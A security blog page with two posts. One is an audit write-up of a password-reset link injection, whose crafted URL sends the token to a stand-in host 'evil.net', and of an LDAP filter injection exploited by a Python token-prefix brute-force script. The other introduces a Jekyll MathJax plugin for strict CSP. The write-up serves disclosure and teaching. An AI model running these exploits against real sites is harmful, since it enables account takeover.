Fabian Henneke

Two Unusual Injections Related to Password Reset Mails

2018-12-19T09:00:00+00:00

During a recent source code audit of a PHP application, I identified two slightly unusual injection points. Both of them occurred in the password reset functionality, which in this case allowed a user to request a password reset token be sent to their private email address. In the following, I want to describe how I exploited these injection points. Along the way, we will also encounter two famous problems in elementary stochastics.

Plaintext Link Injection in Password Reset Email

The password reset script, which we will assume is called pwreset.php from now on, behaves differently depending on the way it is called. If requested via the GET method without a token parameter, it serves a form with a CAPTCHA that can be used to request a password reset token for a given username. The token is sent to the private email the respective user supplies in their account settings.

The email with the token consists of some explanatory text containing a link that may look as follows, with the token consisting of 64 random characters:

https://example.com/path/to/pwreset.php?&token=gZ6akp95...1tChGQ8

When this link is accessed, the GET parameter token is extracted into a session variable and the user is served a form asking for a username and new password. If the username matches the one stored with the token, the new password is set for that account.

On the server, the link above is generated in the following way:

<?php
// ...
$host = $_SERVER['SERVER_NAME'];
$path = $_SERVER['REQUEST_URI'];
$query = '?&token=' . $token;
$link = $host . $path . $query;
// ...
?>

As is well-documented by now, the HTTP_HOST variable and its cousin SERVER_NAME can often be injected into via the HTTP Host header. Whether this is possible depends on the specific server configuration and can be mitigated by instructing the particular web server to use a canonical server name.

In this particular case, the web server was configured correctly, so I turned my attention to REQUEST_URI, which contains the part of the request immediately following the host, i.e., the path and the query string. Thus, when using the form for requesting a password reset without any tampering, the value would be /path/to/pwreset.php.

I tried to inject various types of characters into both the path and query string: further slashes after the .php, various brackets, spaces, newline and line feed characters, all of those both in clear and URL-encoded form. It quickly became apparent that the web server could not be tricked into executing pwreset.php when supplied with a modified path, so injection was only possible in the query string. Since the email was equipped with an explicit Content-Type: text/plain header, HTML injections were not possible, and neither was it possible to successfully inject a newline or space. So how can we use the injection to trick the user into sending us their password reset token?

We can actually abuse a feature present in many email clients: Potential URLs in plain-text mails, recognized for example by the https:// prefix, are automatically turned into clickable links. Our aim is to break the single link with the token up into two separate links, one starting with https://example.com/path/to/pwreset.php and one ending in the token. By injecting into the query string, we want to add a valid host to the second link and then make it look like the correct link for the user to click onto.

I found that injecting an unencoded angle bracket < suffices to break up a plain-text link in Thunderbird as well as the Gmail web interface and mobile app. Submitting the password reset request form and changing the request URL in transit to read

https://example.com/path/to/pwreset.php?<https://evil.net/log.php?foo=bar

would result in the reset email containing a line of the following kind:

https://example.com/path/to/pwreset.php?<https://evil.net/log.php?foo=bar?&token=gZ6akp95...1tChGQ8

This would render as the following two links in the mail clients, separated by ?<:

https://example.com/path/to/pwreset.php
https://evil.net/log.php?foo=bar?&token=gZ6akp95...1tChGQ8

Clicking on the second link will exfiltrate the token to an attacker-controlled domain since any ? after the first one in a URL will be treated as a literal question mark and thus viewed as part of the value for the foo parameter by the victim’s browser. If the victim’s private email address is known, the unexpected delivery of a password reset mail can potentially be “explained away” by the attacker beforehand. All in all, this is a reasonably promising way to get access to a user’s account.

If there wasn’t a much more effective way to hijack the victim’s account.

LDAP Injection in Password Reset Token Filter

When I continued to read pwreset.php, I noticed that the application stores the password reset token on an LDAP server. For the purpose of this article, it suffices to think of LDAP as a database system that stores entries consisting of lists of plain-text attribute-value pairs in a folder structure. It is then possible to execute search queries (called filters) that retrieve all entries satisfying a specified set of conditions on certain attributes. Assuming that every entry corresponds to a user and there is an attribute user, the following LDAP filter would return all users whose username starts with john:

(user=john*)

It is possible to combine conditions on multiple attributes with logical and, or and not operators, represented by &, | and !, respectively. Since the syntax for LDAP filters is based on the normal Polish notation, logical operators will precede their arguments. As an example, the following filter would return all user entries which are not marked inactive and belong to a user with username ending in doe:

(&(!state=inactive)(user=*doe))

Due to the prefix notation for operators, coupled with the fact that every filter appearing after the first in a search query will be ignored by the LDAP server, LDAP filter injections are limited in their capabilities by the first two characters in the query. Even if we were able to inject an arbitrary username suffix instead of the fixed doe into the query above, we would not be able to change the query type to a logical or, and thus we could only retrieve information on active users. Along the same line, we would not be able to inject further constraints into a simple query like the first one above. More information on the LDAP filter syntax, injection techniques and their limitations can be found in the Black Hat talk “LDAP Injection & Blind LDAP Injection”.

Coming back to the password reset form, we should look at how the pwreset.php script operates when called with a token GET parameter:

Check whether token appears as the attribute pwtoken in a unique LDAP entry; if not, serve an error message.
Request username and new password from the user.
Check whether the unique LDAP entry with password reset token matching token has this username; if so, change the password.

Both checks are carried out via the search filter (pwtoken=$token), where $token is replaced with the value of the GET parameter token. The query is clearly injectable, and the most promising attempt to exploit this is to use the wildcard character * instead of a full-length token. However, since we are limited to a single constraint, we will not be able to guarantee a unique entry in the result set by injecting something like *)(user=thevictim)(.

But actually exploiting this injection point is not much more difficult: We just have to guess unique password token prefixes. Exploitation was helped by the fact that the pwtoken attribute was errouneously set to case-insensitive matches on the server-side, which means that the token alphabet is reduced to 36 characters. Armed with this knowledge, I set up a simple Python script that uses depth-first search to find all unique prefixes of password reset tokens in the database by using the error message shown in step 1 as an oracle:

import requests
import sys

ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789"
MAX_LENGTH = # TBD

def is_unique_prefix(prefix):
   return('Error' not in requests.get('https://example.com/path/to/pwreset.php?token=' + prefix + '*').text)

def dfs(prefix, visited):
    if len(prefix) >= MAX_LENGTH:
        return
    if prefix not in visited:
        visited.append(prefix)
        for c in ALPHABET:
            sys.stdout.write(prefix + c)
            sys.stdout.flush()
            if is_unique_prefix(prefix + c):
                sys.stdout.write(' !!!!!!!!!!!\n')
            else:
                sys.stdout.write('\n')
                dfs(prefix + c, visited)

dfs('', [])

The script assumes that all possible prefixes of length one appear in the database, and then appends all possible other characters until it either finds a unique prefix or reaches a certain maximal length MAX_LENGTH. A stopping criterion is necessary since it may happen that a certain prefix of length one simply does not appear in the database (the expected value of reset tokens necessary for this to not happen is subject of the so-called coupon collector’s problem). The other way round, MAX_LENGTH should not be chosen too low if one is interested in determining all valid password prefixes. This is simply because with a large number of active password resets, collisions in the first MAX_LENGTH characters of the reset could be reasonably likely. This again has some mathematics behind it, which you can read up on under the name birthday problem.

But if the goal is to hijack a particular user’s account, this is not necessary, and the following procedure will succeed very likely:

Run the script above with MAX_LENGTH=2 and record all unique prefixes.
Request a password reset for the victim’s account.
Run the script again with MAX_LENGTH=2 and read off the one (or few, in case there are concurrent password resets) new prefixes.
Request pwreset.php with token set to the prefix followed by a wildcard * character to reset the user’s password.

Even in the unoptimized, sequential form above and running on a single machine, all of this could be carried out within 20 minutes, making this a very practical and dangerous attack.

Conclusion

Both vulnerabilities were easy to fix: For the injection via REQUEST_URI, a new server variable was introduced in the web server config which only contains the valid path to the pwreset.php, not the query string. The second injection could have easily been prevented by using PHP’s own ldap_escape. The take-home lesson, unsurprisingly, is to always sanitize your inputs, even when injecting into “low-powered” contexts such as a plain-text email or a single LDAP filter.

jekyll-mathjax-csp: Uniting MathJax, Jekyll and a Strict CSP

2018-02-04T20:48:00+00:00

In our quest to vanquish the foe that is XSS and for an A+ rating from the Mozilla Observatory, today, we will be rendering mathematical formulas in a fast and secure fashion.

TL;DR: If you want to include math in your Jekyll blog that does neither tax your reader’s CPUs nor force you to forego a strict CSP, try out my new plugin jekyll-mathjax-csp.

Motivation

This blog doubles as my personal testbed for web technologies. My aim is to try out new techniques without compromising on aspects of security. After all, how could I wholeheartedly recommend Content Security Policies, HSTS, usage of SRI and all the other web security features without having them set up on my own site? And even the excuse that this page is statically generated and thus will never be exposed to much harm doesn’t hold up, as comments, hosted JavaScript experiments and potentially malicious dependencies make for quite some dymanic content on this otherwise static web page.

MathJax — “Beautiful Math in All Browsers”

MathJax is a JavaScript library that renders mathematical formulas expressed in TeX (or MathML or ASCIIMath) directly in the user’s browser. It supports a wide variety of TeX commands, features typography that is (almost as) beautiful as that produced by native (La)TeX and puts effort into making the rendered output accessible.

Client-Side Rendering — “It’s complicated”

While MathJax is arguably the gold standard for rendering math on the web, it also has some disadvantages: Since the rendering happens client-side, it causes high CPU load on the user’s device, which can be overwhelming especially on cheaper mobile clients. At best, it will take a couple of seconds to render a math-heavy page.

Another potential problem of client-side MathJax rendering is that two of the three supported output formats, SVG and HTML, requires lots of inline style attributes. As a result, a CSP on a page relying on MathJax necessarily has to include style-src: 'unsafe-inline'. While being much less dangerous than script-src: 'unsafe-inline', this directive is still able to inflict damage, including but not limited to blatantly defacing, covertly changing and leaking information from a page.

The remaining output format, MathML, was created as a “native” markup language for math on the web, but has never really caught on: At the moment, only Firefox has full support for it, meaning that it cannot be used without providing a fallback to other formats. It certainly didn’t help MathML that it is quite complex, frequently making an appearance in arcane XSS vectors. Did you know that MathML can be used to build links that will always leak window.opener? Or that it can be used to execute JavaScript without using an href or event listener attribute? Since such attack vectors could also be exploited by MathML rendered from a TeX formula, MathJax offers a Safe mode that is highly recommended if you use MathJax to render user-supplied TeX.

But even without rendering to MathML, client-side MathJax on a page with a CSP that permits the use of eval() has gotcha potential. When MathJax loads on a page for the first time, it looks for specially marked <script> tags containing custom configurations. While these scripts usually consist of a single call to MathJax.Hub.Config, they can contain arbitrary JavaScript that is executed by MathJax using eval(). The result is an unsafe-eval to unsafe-inline CSP bypass with the restriction that inline scripts have to be injected into the page before MathJax is loaded. You can experience this bypass in action in this lab.

Server-Side Rendering — “SVG to the Rescue”

Given the restrictions that client-side MathJax imposes on the strictness of the CSP and the CPU load it causes on the reader’s device, I decided to try out server-side rendering. The npm package mathjax-node can be used from Node.js to pre-render TeX formulas into either SVG, HTML or MathML. Together with the package mathjax-node-page, entire pages of TeX math can be rendered automatically, either from Node.js or via the CLI command mjpage.

While in HTML and MathML mode the server-based approach suffers from the same CSP-related problems as discussed above, the SVG output made me hopeful: Its usage of inline styles is limited to a single fixed <style> element in the head and one style attribute per SVG in the output. As this appears to be a somewhat manageable amount of inline activity and since SVG is a widely supported and high-quality output format for mathematical typography, I decided to wrap everything into a CSP-aware Jekyll plugin.

jekyll-mathjax-csp

jekyll-mathjax-csp is a Jekyll plugin that automatically renders math picked up by the kramdown parser by running it through mathjax-node. It collects all newly added inline styles and turns them into proper CSS classes, which are then injected into a single inline <style> element in the head of the page. The hash over this element’s content is computed and the collection of all such hashes can either automatically (via the {% mathjax_csp_sources %} tag) or manually (copied from a message shown during the build) be added to the site’s CSP.

Usage

Head over to the README for detailed usage instructions.

Issues

If you experience any issues with jekyll-mathjax-csp or want to make a feature request, please create an issue on GitHub.

Examples

Inline math: $$\pi_3(S^2) \cong \mathbb{Z}$$ $\leadsto \pi_3(S^2) \cong \mathbb{Z}$

Display math:

$$\operatorname{ind} P = \int_{X}\operatorname{ch} \sigma(P) \cdot \operatorname{Td}(TX \otimes \mathbb{C})$$

$\leadsto \operatorname{ind} P = \int_{X}\operatorname{ch} \sigma(P) \cdot \operatorname{Td}(TX \otimes \mathbb{C})$

CSP sources for all the MathJax-related styles on hen.ne.ke:

{% mathjax_csp_sources %}

$\leadsto$ 'sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU='